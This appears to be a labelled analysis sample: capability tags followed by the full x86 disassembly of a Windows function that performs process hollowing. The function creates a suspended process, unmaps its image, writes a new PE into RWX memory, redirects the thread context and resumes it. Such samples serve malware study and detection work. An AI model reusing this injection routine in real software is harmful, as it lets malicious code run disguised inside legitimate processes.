Function at 0x401600
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x33c
mov eax, dword [0x408008]
xor eax, esp
mov dword [esp + 0x338], eax
mov eax, dword [edx]
push ebx
push esi
mov esi, ecx
mov dword [esp + 0xc], edx
push edi
mov dword [esp + 0xc], eax
cmp eax, dword [edx + 4]
je 0x4016c8
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4016c8
mov edi, dword [eax + 0x3c]
add edi, eax
cmp dword [edi], 0x4550
jne 0x4016c8
push 0x40
lea eax, [esp + 0x300]
mov dword [esp + 0x2fc], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [esi + 0x14], 8
jb 0x401674
mov esi, dword [esi]
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x2fc]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x4016df
mov edx, str.CreateProcessW_failed__error:
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.00402ae0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push 0x402d00
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x338]
xor ecx, esp
call fcn.004032a7
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x28]
mov dword [esp + 0x28], 0x10007
push eax
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x4016c8
push 0
push 4
lea eax, [esp + 0x2c]
push eax
mov eax, dword [esp + 0xd8]
add eax, 8
push eax
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x4016c8
mov eax, dword [esp + 0x24]
lea ebx, [edi + 0x34]
cmp eax, dword [ebx]
jne 0x401748
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [esp + 0x24]
push dword [esp + 0x18]
call eax
push 0x40
push 0x3000
push dword [edi + 0x50]
push dword [ebx]
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
test ecx, ecx
jne 0x40176e
mov edx, str.VirtualAllocEx_failed__error:
jmp 0x40169f
mov eax, dword [esp + 0x10]
push 0
push dword [edi + 0x54]
push dword [eax]
push ecx
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4016c8
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0xc], 0
mov esi, dword [eax + 0x3c]
xor eax, eax
add esi, 0x10c
cmp ax, word [edi + 6]
jae 0x4017e2
add esi, dword [ecx]
nop
mov eax, dword [esi]
add eax, dword [ecx]
push 0
push dword [esi - 4]
push eax
mov eax, dword [esi - 8]
add eax, dword [ebx]
push eax
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [esp + 0xc]
lea esi, [esi + 0x28]
movzx eax, word [edi + 6]
inc ecx
mov dword [esp + 0xc], ecx
cmp ecx, eax
mov ecx, dword [esp + 0x10]
jl 0x4017b0
mov eax, dword [esp + 0xcc]
push 0
push 4
push ebx
add eax, 8
push eax
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4016c8
mov eax, dword [edi + 0x28]
add eax, dword [ebx]
mov dword [esp + 0xd8], eax
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x4016c8
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0xffffffffffffffff
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x40184b
mov edx, str.Error_waiting_for_process_to_finish__error:
jmp 0x40169f
push dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x14]
call esi
mov ecx, dword [esp + 0x344]
mov eax, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004032a7
mov esp, ebp
pop ebp
ret